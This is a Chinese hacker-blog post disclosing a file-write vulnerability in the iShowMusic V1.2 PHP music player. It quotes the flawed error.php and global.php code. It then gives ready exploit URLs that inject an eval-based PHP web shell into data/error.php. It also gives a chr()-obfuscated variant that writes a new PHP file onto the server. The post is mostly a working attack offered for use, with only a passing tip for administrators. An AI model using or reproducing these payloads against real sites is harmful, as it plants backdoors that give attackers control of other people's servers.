导航

心动吧黑客BLOG

自发研究:须要多维思想而且要想不可能为可能的人才能做到

« ASp msxml2.serverxmlhttp(第十八节)ASp 正则表达式从入门到精通 »

iShowMusic V1.2 直接写shell漏洞

By qiur3n

iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。

官方网站:http://www.ishowsky.cn



在error.php 12-26行复制内容到剪贴板代码:

 

elseif ($_POST['action']=="save"){
$cknumon && GdConfirm($gdcode);
if(empty($id)) {
Showmsg("no","你还未选择歌曲呢!","返回重新填写","javascript:history.back(-1)"); exit;}
elseif(empty($_POST['user'])) {
Showmsg("no","你还没写名字呢!","返回重新填写","javascript:history.back(-1)"); exit;}
else{
$user=safeconvert($user);
$line="$user|$songname|$id|$errmsg|$timestamp|\n";
$e="$datadir/error.php";
writetofile($e,$line,"a+");
Showmsg("yes","提交成功,谢谢您的支持!","关闭本页","javascript:window.close()"); exit;
}在global.php 27-34行复制内容到剪贴板代码:
foreach($_POST as $_key=>$_value){
$_POST[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_POST[$_key]);
!ereg("^\_",$_key) && !$$_key && $$_key=$_POST[$_key];
}
foreach($_GET as $_key=>$_value){
$_GET[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_GET[$_key]);
!ereg("^\_",$_key) && !$$_key && $$_key=$_GET[$_key];
}

这段代码是允许在register_globals在off的情况下工作

程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.

导致失去了这段代码本来的作用.

function writetofile($file_name, $data, $method = "w")
{
$filenum = fopen($file_name, $method);
flock($filenum, LOCK_EX);
$file_data = fwrite($filenum, $data);
fclose($filenum);
return $file_data;
}

这个函数也没有任何过滤就把$data写进去了,呵呵

hxxp://www.xxx.com/error.php?errid=1&errtitle=<?eval($_POST[wst]);?>

然后提交一下你就能获得一个shell在

hxxp://www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文件夹改名,呵呵)

刚经群里的朋友提示,发现这段代码并没有错误复制内容到剪贴板代码:

 

foreach($_POST as $_key=>$_value){
$_POST[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_POST[$_key]);
!ereg("^\_",$_key) && !$$_key && $$_key=$_POST[$_key];
}
foreach($_GET as $_key=>$_value){
$_GET[$_key]=str_replace(array('|','$','..'),array

('|','$','..'),$_GET[$_key]);
!ereg("^\_",$_key) && !$$_key && $$_key=$_GET[$_key];}
呵呵..虽然我在本地本地测试的时候确实没替换.

现在修改哈Ryat提供的邪恶的shellcode..嘿嘿

hxxp://www.xxx.com/error.php?errid=1&errtitle=<?fputs(fopen(chr(119).chr(111).chr(108).chr(118).chr(101).chr(122).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59).chr(63).chr(62));?>

这样你在访问一次hxxp://www.xxx.com/data/error.php后将得到hxxp://www.xxx.com/data/wolvez.php的测试文件

内容为<?phpinfo():?>lol

 

原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]

本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/iShowMusic.html

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

黑客榜之热文排行

黑客榜之本年排行

黑客榜之本月排行

黑客榜之随机文章

网站分类

搜索内容

最新评论及回复

最近发表

所属分类下的文章

日历

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved